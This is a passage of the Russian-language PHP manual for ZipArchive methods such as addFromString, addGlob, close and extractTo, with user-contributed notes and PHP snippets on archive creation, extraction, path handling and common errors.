javierseixas at gmail dt com 17-Jul-2008 08:30
I have had several problems trying adding files, because of a path problem. The error gived was this:

ZipArchive::addFile() [function.ZipArchive-addFile]: Unable to access <path>

I used an absolute root starting by "/", and it didn't work. Try starting your path with "./" (referencing the root of your site).
wacher at freemail dot hu 23-Jun-2008 01:03
The workaround above (file_get_contents) is very dangerous if you pack large files. (see memory limit).
Close/open the zip archive periodically instead of using file_get_contents().
stanleyshilov {} gmail.com 11-May-2008 12:05
It should be noted that the example provided above is not accurate.

Unlike extractTo, zip_open does not return a boolean result, so the above example will always fail.
mike at thetroubleshooters dot dk 07-Feb-2008 07:20
What is worse is that when you run out of filedescriptors it seems to fail silently, I have not been able to find any errors in any logfiles.
Andreas R. newsgroups2005 at geekmail de 03-Apr-2007 06:29
Currently the number of files that can be added using addFile to the ZIP archive (until it is closed) is limited by file descriptors limit. This is an easy workaround (on the bug links below you can find another workarounds):
<?php
    /** work around file descriptor number limitation (to avoid failure
     * upon adding more than typically 253 or 1024 files to ZIP) */
    function addFileToZip( $zip, $path, $zipEntryName ) {
        // this would fail with status ZIPARCHIVE::ER_OPEN
        // after certain number of files is added since
        // ZipArchive internally stores the file descriptors of all the
        // added files and only on close writes the contents to the ZIP file
        // see: http://bugs.php.net/bug.php?id=40494
        // and: http://pecl.php.net/bugs/bug.php?id=9443
        // return $zip->addFile( $path, $zipEntryName );

        $contents = file_get_contents( $path );
        if ( $contents === false ) {
            return false;
        }
        return $zip->addFromString( $zipEntryName, $contents );
    }
?>


Добавляет файл в ZIP-архив, используя его содержимое

  • « ZipArchive::addFile
  • ZipArchive::addGlob »
  • PHP Manual
  • ZipArchive
  • Добавляет файл в ZIP-архив, используя его содержимое

ZipArchive::addFromString

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::addFromString — Добавляет файл в ZIP-архив, используя его содержимое

Описание

public ZipArchive::addFromString(string $name, string $content, int $flags = ZipArchive::FL_OVERWRITE): bool

Добавляет файл в ZIP-архив, используя его содержимое.

Замечание: Для максимальной переносимости, рекомендуется всегда использовать прямые слеши (/) в качестве разделителя директорий в именах файлов.

Список параметров

name

Локальное имя файла для создания.

content

Содержимое для создания файла. Используется в двоичном безопасном режиме.

flags

Битовая маска, состоящая из
ZipArchive::FL_OVERWRITE,
ZipArchive::FL_ENC_GUESS,
ZipArchive::FL_ENC_UTF_8,
ZipArchive::FL_ENC_CP437.
Поведение констант описано на странице ZIP-константы.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 / 1.18.0 | Добавлен параметр flags.

Примеры

Пример #1 Добавить запись в новый архив

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
$zip->addFromString('test.txt', 'здесь следует содержимое файла');
$zip->close();
echo 'готово';
} else {
echo 'ошибка';
}
?>

Пример #2 Добавить файл в директорию внутри архива

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
$zip->addFromString('dir/test.txt', 'здесь следует содержимое файла');
$zip->close();
echo 'готово';
} else {
echo 'ошибка';
}
?>

User Contributed Notes

Jon at 9072997 dot com (yes that is real) 29-Apr-2022 03:44
ZipArchive::FL_ENC_GUESS, ZipArchive::FL_ENC_UTF_8, and ZipArchive::FL_ENC_CP437 affect the $name parameter, not $content
hossam6 at gmail dot com 01-Jul-2020 06:32
in case your string contain Arabic char, ZipArchive::addFromString will show it in wrong format char.
in this case you have to change your string coding from Unicode to Windows-1256 code

$filetxt        = iconv('utf-8','CP1256',$filetxt);
$zip            = new ZipArchive;
$zipFName    = "Tmp.zip";
if ($zip->open($zipFName, ZipArchive::CREATE) === TRUE)
{
    $zip->addFromString($fileName . '.csv',  $filetxt);
    $zip->close();
}
tahazit dot co dot il at gmail dot com 28-Nov-2014 01:18
On PHP >5.4, This function will usually create any subfolders inside the ZIP archive.
For instance:

   $zip->addFromString ( 'path/to/file.txt' , $data );

will create the folders "path/", and "path/to/" in addition to placing the newly created file "file.txt" in "path/to/" folder.
xslidian at lidian dot info 20-Feb-2013 12:57
Although numFiles will change after overwriting a file, it will be back normal when you ZipArchive::close() and open() it again.
NULL indexes don't persist either. Only the new order is kept. So feel free to overwrite.

Here overwriting works the same as deleting and adding. So it's not necessary to ZipArchive::deleteName() first.
calebcjh 19-May-2010 12:54
Although this function displaces files of the same name, in actual fact, the original file is blanked and a new entry is added. The numFiles property is incremented.

Example:

File 1: foo
File 2: bar

$zip->addFromString('foo', 'new foo');

File 1:
File 2: bar
File 3: foo
gbti at ukr dot net 16-Nov-2008 10:01
if you try:

<?php
$zip->open("file", ZipArchive::CREATE);
$zip->addFromString("russian_letters/options.xml");
?>

wrong directory will be created.

if you try:

<?php
$zip->addEmptyDir("russian_letters");
?>

All be fine.
Jacques Chester 30-Jan-2007 09:10
Note that this function overwrites existing files of the same name.


Добавить файлы из директории в соответствии с шаблоном

  • « ZipArchive::addFromString
  • ZipArchive::addPattern »
  • PHP Manual
  • ZipArchive
  • Добавить файлы из директории в соответствии с шаблоном

ZipArchive::addGlob

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL zip >= 1.9.0)

ZipArchive::addGlob — Добавить файлы из директории в соответствии с шаблоном

Описание

public ZipArchive::addGlob(string $pattern, int $flags = 0, array $options = []): array|false

Добавить файлы из директории в соответствии с шаблоном pattern.

Замечание: Для максимальной переносимости, рекомендуется всегда использовать прямые слеши (/) в качестве разделителя директорий в именах файлов.

Список параметров

pattern

Шаблон функции glob(), по которому будут выбираться файлы.

flags

Битовая маска флагов glob().

options

Ассоциативный массив опций. Доступные значения:

  • "add_path"

    Префикс, который будет добавляться в начало локального пути в архиве. Накладывается после применения операций, заданных в "remove_path" или "remove_all_path".

  • "remove_path"

    Префикс, который будет удалён из пути перед добавлением к архиву.

  • "remove_all_path"

    Установите как true для использования только имени файлов и складывания их в корень архива.

  • "flags"

    Битовая маска, состоящая из
ZipArchive::FL_OVERWRITE,
ZipArchive::FL_ENC_GUESS,
ZipArchive::FL_ENC_UTF_8,
ZipArchive::FL_ENC_CP437,
ZipArchive::FL_OPEN_FILE_NOW.
Поведение констант описано на странице ZIP-константы.

  • "comp_method"

    Метод сжатия, одна из констант ZipArchive::CM_*, смотрите страницу константы ZIP.

  • "comp_flags"

    Уровень сжатия.

  • "enc_method"

    Метод шифрования, одна из констант ZipArchive::EM_*, смотрите страницу константы ZIP.

  • "enc_password"

    Пароль, используемый для шифрования.

Возвращаемые значения

Массив (array) добавленных файлов в случае успешного выполнения или false в случае возникновения ошибки Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 / 1.18.0 | Добавлен параметр "flags" в options.
8.0.0 / 1.18.1 | Добавлены параметры "comp_method", "comp_flags", "enc_method" и "enc_password" в options.
8.3.0 / 1.22.1 | Добавлена константа ZipArchive::FL_OPEN_FILE_NOW.

Примеры

Пример #1 Пример использования ZipArchive::addGlob()

Добавить к архиву все текстовые файлы и файлы скриптов PHP из текущей директории

<?php
$zip = new ZipArchive();
$ret = $zip->open('application.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE);
if ($ret !== TRUE) {
printf('Ошибка с кодом %d', $ret);
} else {
$options = array('add_path' => 'sources/', 'remove_all_path' => TRUE);
$zip->addGlob('*.{php,txt}', GLOB_BRACE, $options);
$zip->close();
}
?>

Смотрите также

  • ZipArchive::addFile() - Добавляет в ZIP-архив файл по указанному пути
  • ZipArchive::addPattern() - Добавить файлы из директории в соответствии с шаблоном регулярного выражения PCRE

User Contributed Notes

Francesc Pineda Segarra 26-Jan-2017 01:50
For me the better way seems to be:

$options = array('add_path' => DIRECTORY_SEPARATOR, 'remove_all_path' => TRUE);

On Windows uses \, on others /
sunbinzzzzz at gmail dot com 13-Dec-2016 07:16
Yes!! neither 'remove_all_path' or 'remove_path'  be working,if you want the right result,you should like this, $option = array( 'add_path' => '/', 'remove_all_path' => 'your path' );   'add_path' just give a '/', then you will (; ?
sumariva at gmail dot com 07-Apr-2015 01:40
As others suggested, to remove all paths, use the space as basepath.
Zip opened with builtin utility on a Windows XP and WinRAR.

$options = array('add_path' => ' ','remove_all_path' => TRUE);

Thanks for all contributers.
johnsmith at na dot com 19-Feb-2015 03:36
Neither 'remove_all_path' or 'remove_path' options seem to be workng
zckernel at gmail dot com 13-Feb-2015 12:52
Doesn't work with the following options:
$options = array('remove_all_path' => TRUE);
$zipArchive->addGlob($path."/*", GLOB_BRACE, $options);

The full path to file is adding to the archive.

Works well if:
$options = array('add_path' => './','remove_all_path' => TRUE);


Добавить файлы из директории в соответствии с шаблоном регулярного выражения PCRE

  • « ZipArchive::addGlob
  • ZipArchive::clearError »
  • PHP Manual
  • ZipArchive
  • Добавить файлы из директории в соответствии с шаблоном регулярного выражения PCRE

ZipArchive::addPattern

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL zip >= 1.9.0)

ZipArchive::addPattern — Добавить файлы из директории в соответствии с шаблоном регулярного выражения PCRE

Описание

public ZipArchive::addPattern(string $pattern, string $path = ".", array $options = []): array|false

Добавляет файлы из директории в соответствии с шаблоном регулярного выражения pattern. Операция не рекурсивна. Шаблон применяется только к именам файлов.

Список параметров

pattern

Шаблон PCRE.

path

Директория для сканирования. По умолчанию выбирается текущая директория.

options

Ассоциативный массив параметров, принимаемых ZipArchive::addGlob().

Возвращаемые значения

Массив (array) добавленных файлов в случае успешного выполнения или false в случае возникновения ошибки

Примеры

Пример #1 Пример использования ZipArchive::addPattern()

Добавить к архиву все текстовые файлы и файлы скриптов PHP из текущей директории

<?php
$zip = new ZipArchive();
$ret = $zip->open('application.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE);
if ($ret !== TRUE) {
printf('Ошибка с кодом %d', $ret);
} else {
$directory = realpath('.');
$options = array('add_path' => 'sources/', 'remove_path' => $directory);
$zip->addPattern('/\.(?:php|txt)$/', $directory, $options);
$zip->close();
}
?>

Смотрите также

  • ZipArchive::addFile() - Добавляет в ZIP-архив файл по указанному пути
  • ZipArchive::addGlob() - Добавить файлы из директории в соответствии с шаблоном

User Contributed Notes

There are no user contributed notes for this page.


Удаляет сообщение об ошибке статуса, системные и/или сообщения модуля zip

  • « ZipArchive::addPattern
  • ZipArchive::close »
  • PHP Manual
  • ZipArchive
  • Удаляет сообщение об ошибке статуса, системные и/или сообщения модуля zip

ZipArchive::clearError

(PHP 8 >= 8.2.0, PECL zip >= 1.20.0)

ZipArchive::clearError — Удаляет сообщение об ошибке статуса, системные и/или сообщения модуля zip

Описание

public ZipArchive::clearError(): void

Удаляет сообщение об ошибке статуса, системные и/или сообщения модуля zip.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • ZipArchive::getStatusString() - Возвращают статус сообщения об ошибке, системный и/или zip-статус

User Contributed Notes

There are no user contributed notes for this page.


Закрывает активный архив (открытый или вновь созданный)

  • « ZipArchive::clearError
  • ZipArchive::count »
  • PHP Manual
  • ZipArchive
  • Закрывает активный архив (открытый или вновь созданный)

ZipArchive::close

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::close — Закрывает активный архив (открытый или вновь созданный)

Описание

public ZipArchive::close(): bool

Закрывает открытый или созданный архив и сохраняет изменения. Метод автоматически вызывается в конце выполнения скрипта.

Если архив не содержит файлов, файл по умолчанию полностью удаляется (пустой архив не записывается) в соответствии со значением глобального флага ZipArchive::AFL_CREATE_OR_KEEP_FILE_FOR_EMPTY_ARCHIVE.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ZipArchive::setArchiveFlag() - Устанавливает глобальный флаг ZIP-архива

User Contributed Notes

Clemens 28-Feb-2023 08:33
If you get an error like "ZipArchive::close(): Renaming temporary file failed: Permission denied" at random times, check your antivirus software (e.g. Trellix), which may block writing while scanning the file. In my case, I had to check with flock until file is unlocked.
luciandex 16-Dec-2021 02:22
I am not sure, but seems that $zip->close() can run into errors if the path specified in $zip->open is a relative path, not absolute.
So, when create archives, please specify ABSOLUTE PATH, not relative path for zip file to be created.
Enyby 08-Jan-2017 06:22
If you open archive without flags in PHP 5.6 then you can get errors on close:
Warning: ZipArchive::close(): Zip archive inconsistent in
And changes not saved.
You need use flag ZIPARCHIVE::OVERWRITE on $zip->open.

This issue happens for me only in php 5.6. In php 5.4 and before it works without any flags to $zip->open.
javier dot santacruz at avature dot net 28-Sep-2016 11:05
ZipArchive.close() changes its behaviour in PHP7. The function ignores directories in PHP5 but fails in PHP7 with:

Unexpected PHP error [ZipArchive::close(): Read error: Is a directory]

The following code works in PHP5 but not in PHP7:

<?php
// test.php
$zip = new ZipArchive();
$zip->open('/tmp/test.zip', ZipArchive::CREATE);
$zip->addFile('.', '.');
$ret = $zip->close();
echo "Closed with: " . ($ret ? "true" : "false") . "\n";
?>

For php5:

php --version
  PHP 5.5.38-1-avature-ondrej-fork (cli) (built: Aug 31 2016 16:37:38)

php test.php
  Closed with: true

For php7:

php --version
  PHP 7.0.8-0ubuntu0.16.04.2 (cli) ( NTS )

php test.php
  Closed with: false
valera at creator dot su 08-Aug-2014 01:22
Pay attention, that ZipArchive::addFile() only opens file descriptor and does not compress it. And only ZipArchive::close() compress file and it take quite a lot of time. Be careful with timeouts.
m021 at springtimesoftware dot com 19-May-2011 01:14
If you have created a zip file and added a file to it without error, yet the ZipArchive::close call fails (with ER_TMPOPEN: "Failure to create temporary file") and the zip file is not created, check to see if your ZipArchive::open call specifies a pathname containing nonexisting directories. If you expect a containing hierarchy of one or more directories, you must create them yourself before using using ZipArchive. You can write a simple function to recurse using dirname to find each parent directory, creating those that don't exist by using mkdir when leaving the recursion.
webnull dot www at gmail dot com 12-Mar-2011 01:40
Please note you must have write permissions to file and directory where the files is placed to save the archive.
john factorial 29-Dec-2010 12:58
If you're adding multiple files to a zip and your $zip->close() call is returning FALSE, ensure that all the files you added actually exist. Apparently $zip->addFile() returns TRUE even if the file doesn't actually exist. It's a good idea to check each file with file_exists() or is_readable() before calling $zip->addFile() on it.
jared at kippage dot com 02-Sep-2009 06:08
It may seem a little obvious to some but it was an oversight on my behalf.

If you are adding files to the zip file that you want to be deleted make sure you delete AFTER you call the close() function.

If the files added to the object aren't available at save time the zip file will not be created.
gilthans at gmail dot com 22-Oct-2007 11:16
Don't forget to check the zip isn't empty, folks - otherwise the zip won't be created at all, and the server will issue no warning!

I used a certain loop to add files to the zip, and struggled with permissions and documentation for hours before I realize the loop ended up adding no file, even though addFile WAS called, but on a non-existent file.
This might be the reason your zips aren't popping up.


Подсчитывает количество файлов в архиве

  • « ZipArchive::close
  • ZipArchive::deleteIndex »
  • PHP Manual
  • ZipArchive
  • Подсчитывает количество файлов в архиве

ZipArchive::count

(PHP 7 >= 7.2.0, PHP 8, PECL zip >= 1.15.0)

ZipArchive::count — Подсчитывает количество файлов в архиве

Описание

public ZipArchive::count(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество файлов в архиве.

User Contributed Notes

Ignacio C. E. 31-Aug-2018 07:42
You can use $zip->numFiles if you are on PHP <7.2
ohcc at 163 dot com 01-Feb-2018 12:11
ZipArchive::count() is introduced in PHP 7.2.


Удаляет элемент в архиве, используя его индекс

  • « ZipArchive::count
  • ZipArchive::deleteName »
  • PHP Manual
  • ZipArchive
  • Удаляет элемент в архиве, используя его индекс

ZipArchive::deleteIndex

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.5.0)

ZipArchive::deleteIndex — Удаляет элемент в архиве, используя его индекс

Описание

public ZipArchive::deleteIndex(int $index): bool

Удаляет элемент (файл или каталог) в архиве, используя его индекс.

Список параметров

index

Индекс элемента для удаления.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Удалить файл из архива, используя его индекс

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
$zip->deleteIndex(2);
$zip->close();
echo 'готово';
} else {
echo 'ошибка';
}
?>

User Contributed Notes

mubin at brokergenius dot com 06-Sep-2013 06:56
I'm trying to delete file using deleteName and deleteIndex, it returns true but files are not removed. can anybody tell me how could it be?

Here is code snippet

$zip = new ZipArchive ;
$zipname = "www.zip" ;
chmod( $zipname, 0777 ) ;

if ( $zip->open( $zipname ) )
{
     $loop = $zip->numFiles ;
    for ( $i = 0; $i < $loop; $i++ )
    {

        var_dump($zip->deleteIndex( $i )) ;
        var_dump(deleteName($zip->getNameIndex( $i )). "/") ;

    }
}$zip->close() ;


Удаляет элемент в архиве, используя его имя

  • « ZipArchive::deleteIndex
  • ZipArchive::extractTo »
  • PHP Manual
  • ZipArchive
  • Удаляет элемент в архиве, используя его имя

ZipArchive::deleteName

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.5.0)

ZipArchive::deleteName — Удаляет элемент в архиве, используя его имя

Описание

public ZipArchive::deleteName(string $name): bool

Удаляет элемент (файл или каталог) в архиве, используя его имя.

Список параметров

name

Имя элемента для удаления.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Удалить файл и каталог из архива, используя имена

<?php
$zip = new ZipArchive;
if ($zip->open('test1.zip') === TRUE) {
$zip->deleteName('testfromfile.php');
$zip->deleteName('testDir/');
$zip->close();
echo 'готово';
} else {
echo 'ошибка';
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Извлекает содержимое архива

  • « ZipArchive::deleteName
  • ZipArchive::getArchiveComment »
  • PHP Manual
  • ZipArchive
  • Извлекает содержимое архива

ZipArchive::extractTo

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::extractTo — Извлекает содержимое архива

Описание

public ZipArchive::extractTo(string $pathto, array|string|null $files = null): bool

Извлечение всего архива или его части в указанное место назначения.

Внимание

Разрешения по умолчанию для извлечённых файлов и каталогов предоставляют максимально широкий доступ. Это можно ограничить установкой текущего umask, который изменяется с помощью umask().

Список параметров

pathto

Место назначение, куда извлекать файлы.

files

Элементы для извлечения. Может принимать как одно значение, так и массив записей.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Извлечь все содержимое

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
$zip->extractTo('/my/destination/dir/');
$zip->close();
echo 'готово';
} else {
echo 'ошибка';
}
?>

Пример #2 Извлечь два элемента

<?php
$zip = new ZipArchive;
$res = $zip->open('test_im.zip');
if ($res === TRUE) {
$zip->extractTo('/my/destination/dir/', array('pear_item.gif', 'testfromfile.php'));
$zip->close();
echo 'готово';
} else {
echo 'ошибка';
}
?>

Примечания

Замечание:

Файловые системы Windows NTFS не поддерживают некоторые символы в именах файлов, а именно <|>*?":. Имена файлов с точкой в конце также не поддерживаются. В отличие от некоторых инструментов извлечения, этот метод не поддерживает замену этих символов на подчёркивание, а вместо этого возникает ошибка при извлечении таких файлов.

User Contributed Notes

cucurella at gmail dot com 25-Jan-2021 10:50
// Handling ERROR file by file !!

<?php

$ERROR_UNZIP = false;
$dest = "../";
$zipfile = "test.zip";

$zip = new ZipArchive;

if ($zip->open("$zipfile") === true) {

    for ($i = 0; $i < $zip -> numFiles; $i++) {
        $RETVAL = false;

        $filename = $zip->getNameIndex($i);

        $RETVAL = $zip->extractTo($dest,$filename);

        if ($RETVAL) {
            print "$filename ... [ OK ]<br>";
        } else {
            print "$filename ... [ ERROR ]<br>";
            $ERROR_UNZIP = true;
        }
    }

    // close
    $zip -> close();

    // retval
    if ($ERROR_UNZIP) {
        print "<p>ERROR unziping ${zipfile}</p>";
    } else {
        print "<p>Unzip OK</p>";
    }
} else {
    print "<p>ERROR opening ${zipfile}</p>";
}

?>
icixtec at gmail dot com 04-Jan-2020 03:32
Para casos donde sea necesario descomprimir archivos sin saber si el nombre esta en mayusculas o minusculas:

$zip = new ZipArchive;
if ($zip->open('myfile.zip') === TRUE) {
    //no funciona
    //$zip->extractTo('./', array( 'file1.XML', 'file1.xml'));
    //funciona
    $zip->extractTo('./', 'file1.XML' );
    $zip->extractTo('./', 'file1.xml' );
    $zip->close();
}
Anonymous 24-Feb-2018 06:43
If you want to extract the files just to the current folder, simply use
$zip->extractTo(".");

It took me hours to figure this out.
skrzypecki at gmail dot com 25-Sep-2017 06:12
Please note that the path can not be to long! I am not sure what the maximum length is, didnt find any information about that. But i kept getting issues when using extractTo().

Than after google i found this little comment: https://github.com/composer/composer/issues/2824#issuecomment-308201902

CopyPasted comment:
===
I had this path in my machine:

C:/xampp5.0/htdocs/project-recordando-symfony/project-recordando-symfony
Then I ran composer install or/and composer update and it returned this error:

ErrorException ZipArchive::extractTo...

That error is because your path is too much long, I changed to:

C:/xampp5.0/htdocs/p-symfony/*
and worked!
===
synnus at gmail dot com 31-Aug-2017 12:59
<?php

    // This version allows to see which file will be decompressed and to keep
    // a follow-up on decompression

    define( 'FILEPATH',     dirname(__FILE__)     . '\\' );
    define( 'TEST',         FILEPATH             . 'test\\' );

$za = new ZipArchive();

$za->open(FILEPATH . 'test.zip');
print_r($za);
var_dump($za);
echo "Nombre de fichiers : " . $za->numFiles . "\n";
echo "Statut : " . $za->status  . "\n";
echo "Statut du systeme : " . $za->statusSys . "\n";
echo "Nom du fichier : " . $za->filename . "\n";
echo "Commentaire : " . $za->comment . "\n";

/*  in $za->statIndex($i)

    [name] => data/x.luac
    [index] => 451
    [crc] => -1266183263
    [size] => 2936
    [mtime] => 1464790482
    [comp_size] => 976
    [comp_method] => 8
*/

for ($i=0; $i<$za->numFiles;$i++) {
    echo "index : $i\n";
    $name = $za->statIndex($i)['name'];
    $size = $za->statIndex($i)['size'];
    $comp_size = $za->statIndex($i)['comp_size'];
    print_r($name . ' [ ' . $size . '>' . $comp_size . ']' );
    $za->extractTo(TEST,$name);
}
echo "Nombre de fichiers :" . $za->numFiles . "\n";

?>
ohcc at 163 dot com 07-Jul-2017 09:54
WARNING!!!!

if you are running php under Apache, a .htaccess file inside the zip file may fail the extractTo() method.
ben dot tyger at tygerclan dot net 08-Jan-2016 06:03
Note, in Linux (possibly other *nix platforms too) there is no way to extract hidden files ( aka filename starting with a '.') from a Zip archive.
stanislav dot eckert at vizson dot de 17-Dec-2014 04:03
The extractTo() method does not offer any parameter to allow extracting files and folders recursively from another (parent) folder inside the ZIP archive. With the following method it is possible:

<?php
  class my_ZipArchive extends ZipArchive
  {
    public function extractSubdirTo($destination, $subdir)
    {
      $errors = array();

      // Prepare dirs
      $destination = str_replace(array("/", "\\"), DIRECTORY_SEPARATOR, $destination);
      $subdir = str_replace(array("/", "\\"), "/", $subdir);

      if (substr($destination, mb_strlen(DIRECTORY_SEPARATOR, "UTF-8") * -1) != DIRECTORY_SEPARATOR)
        $destination .= DIRECTORY_SEPARATOR;

      if (substr($subdir, -1) != "/")
        $subdir .= "/";

      // Extract files
      for ($i = 0; $i < $this->numFiles; $i++)
      {
        $filename = $this->getNameIndex($i);

        if (substr($filename, 0, mb_strlen($subdir, "UTF-8")) == $subdir)
        {
          $relativePath = substr($filename, mb_strlen($subdir, "UTF-8"));
          $relativePath = str_replace(array("/", "\\"), DIRECTORY_SEPARATOR, $relativePath);

          if (mb_strlen($relativePath, "UTF-8") > 0)
          {
            if (substr($filename, -1) == "/")  // Directory
            {
              // New dir
              if (!is_dir($destination . $relativePath))
                if (!@mkdir($destination . $relativePath, 0755, true))
                  $errors[$i] = $filename;
            }
            else
            {
              if (dirname($relativePath) != ".")
              {
                if (!is_dir($destination . dirname($relativePath)))
                {
                  // New dir (for file)
                  @mkdir($destination . dirname($relativePath), 0755, true);
                }
              }

              // New file
              if (@file_put_contents($destination . $relativePath, $this->getFromIndex($i)) === false)
                $errors[$i] = $filename;
            }
          }
        }
      }

      return $errors;
    }
  }
?>

Example:
<?php
  echo "<pre>";

  $zip = new my_ZipArchive();
  if ($zip->open("test.zip") === TRUE)
  {
    $errors = $zip->extractSubdirTo("C:/output", "folder/subfolder/");
    $zip->close();

    echo 'ok, errors: ' . count($errors);
  }
  else
  {
    echo 'failed';
  }
?>
sachinyadav at live dot com 12-Nov-2010 12:29
This script will search for ".txt" file(any file name) inside test.zip archive. Suppose, 'example.txt' file is found then the script will copy 'example.txt' to "txt_files" directory and rename it to 'test.zip.txt' and will remove all the blank lines from 'test.zip.txt' and resave and will exit the loop without searching remaining entries.
This script can be useful to extract .DIZ and GIF files to display ZIP archive details in your script.
<?php
   $value="test.zip";
   $filename="zip_files/$value";
   $zip = new ZipArchive;
     if ($zip->open($filename) === true) {
      echo "Generating TEXT file.";
          for($i = 0; $i < $zip->numFiles; $i++) {
             $entry = $zip->getNameIndex($i);
               if(preg_match('#\.(txt)$#i', $entry))
                {
                ////This copy function will move the entry to the root of "txt_files" without creating any sub-folders unlike "ZIP->EXTRACTO" function.
                copy('zip://'.dirname(__FILE__).'/zip_files/'.$value.'#'.$entry, 'txt_files/'.$value.'.txt');
                $content = file_get_contents("txt_files/$value.txt");
                $newcontent = preg_replace("/(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+/", "\n", $content);
                file_put_contents("txt_files/$value.txt", "$newcontent");
                break;
                }
              }
             $zip->close();
            }
    else{
         echo "ZIP archive failed";
        }
?>

enjoy PHP programming.
Sachin Yadav
php-dev at proneticas dot net 07-Nov-2010 11:22
If you want to copy one file at a time and remove the folder name that is stored in the ZIP file, so you don't have to create directories from the ZIP itself, then use this snippet (basically collapses the ZIP file into one Folder).

<?php

$path = 'zipfile.zip'

$zip = new ZipArchive;
if ($zip->open($path) === true) {
    for($i = 0; $i < $zip->numFiles; $i++) {
        $filename = $zip->getNameIndex($i);
        $fileinfo = pathinfo($filename);
        copy("zip://".$path."#".$filename, "/your/new/destination/".$fileinfo['basename']);
    }
    $zip->close();
}

?>

* On a side note, you can also use $_FILES['userfile']['tmp_name'] as the $path for an uploaded ZIP so you never have to move it or extract a uploaded zip file.

Cheers!

ProNeticas Dev Team
quake2005 at gmail dot com 20-Aug-2010 11:05
If you want to extract one file at a time, you can use this:

<?php

$path = 'zipfile.zip'

$zip = new ZipArchive;
if ($zip->open($path) === true) {

    for($i = 0; $i < $zip->numFiles; $i++) {

        $zip->extractTo('path/to/extraction/', array($zip->getNameIndex($i)));

        // here you can run a custom function for the particular extracted file

    }

    $zip->close();

}

?>
cory dot mawhorter at ephective dot com 18-Apr-2010 01:28
This function will flatten a zip file using the ZipArchive class.

It will extract all the files in the zip and store them in a single destination directory.  That is, no sub-directories will be created.

If anyone knows a better way to determine if an entry is a directory, please chime in.  I feel dirty checking for a trailing slash.

<?php
// dest shouldn't have a trailing slash
function zip_flatten ( $zipfile, $dest='.' )
{
    $zip = new ZipArchive;
    if ( $zip->open( $zipfile ) )
    {
        for ( $i=0; $i < $zip->numFiles; $i++ )
        {
            $entry = $zip->getNameIndex($i);
            if ( substr( $entry, -1 ) == '/' ) continue; // skip directories

            $fp = $zip->getStream( $entry );
            $ofp = fopen( $dest.'/'.basename($entry), 'w' );

            if ( ! $fp )
                throw new Exception('Unable to extract the file.');

            while ( ! feof( $fp ) )
                fwrite( $ofp, fread($fp, 8192) );

            fclose($fp);
            fclose($ofp);
        }

                $zip->close();
    }
    else
        return false;

    return $zip;
}

/*
Example Usage:

zip_flatten( 'test.zip', 'my/path' );
*/
?>

[EDIT BY danbrown AT php DOT net: Added $zip-close() per indication by original poster in follow-up note on 18-APR-2010.]
Anonymous 02-Dec-2009 04:38
I am using this function to extract a specific folder and it's contents from a zip file:

<?php
function extractDir($zipfile, $path) {
  if (file_exists($zipfile)) {
    $files = array();
    $zip = new ZipArchive;
    if ($zip->open($zipfile) === TRUE) {
      for($i = 0; $i < $zip->numFiles; $i++) {
        $entry = $zip->getNameIndex($i);
        //Use strpos() to check if the entry name contains the directory we want to extract
        if (strpos($entry, "/MyFolder/")) {
          //Add the entry to our array if it in in our desired directory
          $files[] = $entry;
        }
      }
      //Feed $files array to extractTo() to get only the files we want
      if ($zip->extractTo($path, $files) === TRUE) {
        return TRUE;
      } else {
        return FALSE;
      }
      $zip->close();
    } else {
      return FALSE;
    }
  } else {
    return FALSE;
  }
}

//Run the function
if (extractDir($zipfile, $path)) {
  $extracted = "YES! :-D";
} else {
  $extracted = "NO! :*(";
}

echo $extracted;
?>
kawzaki at yahoo dot com 31-May-2009 09:28
Please be aware of the fact that using this function has OVERWRITE true.

an old file will be overwritten if the achieve (zipped file) contains file matching the same old file name.

old files that has no match in the zip, will be kept as is.

hopefully the someone will explain how to avoid overwriting old files.
Anonymous 02-Apr-2009 01:50
I found it useful to add this to a function.

<?php
/**
*  Extracts a ZIP archive to the specified extract path
*
*  @param string $file The ZIP archive to extract (including the path)
*  @param string $extractPath The path to extract the ZIP archive to
*
*  @return boolean TURE if the ZIP archive is successfully extracted, FALSE if there was an errror
*
*/
function zip_extract($file, $extractPath) {

    $zip = new ZipArchive;
    $res = $zip->open($file);
    if ($res === TRUE) {
        $zip->extractTo($extractPath);
        $zip->close();
        return TRUE;
    } else {
        return FALSE;
    }

} // end function
?>
tBone 02-Jun-2008 05:03
This function, at least from my experience, maintains/forces the directory structure within the ZIP file.

ie. if you have FOLDER1/File1.txt in the zip file and you use
$zip->extractTo('/extract', 'FOLDER1/File1.txt');
the location of the extracted file will be:
/extract/FOLDER1/File1.txt


Возвращает комментарий ZIP-архива

  • « ZipArchive::extractTo
  • ZipArchive::getArchiveFlag »
  • PHP Manual
  • ZipArchive
  • Возвращает комментарий ZIP-архива

ZipArchive::getArchiveComment

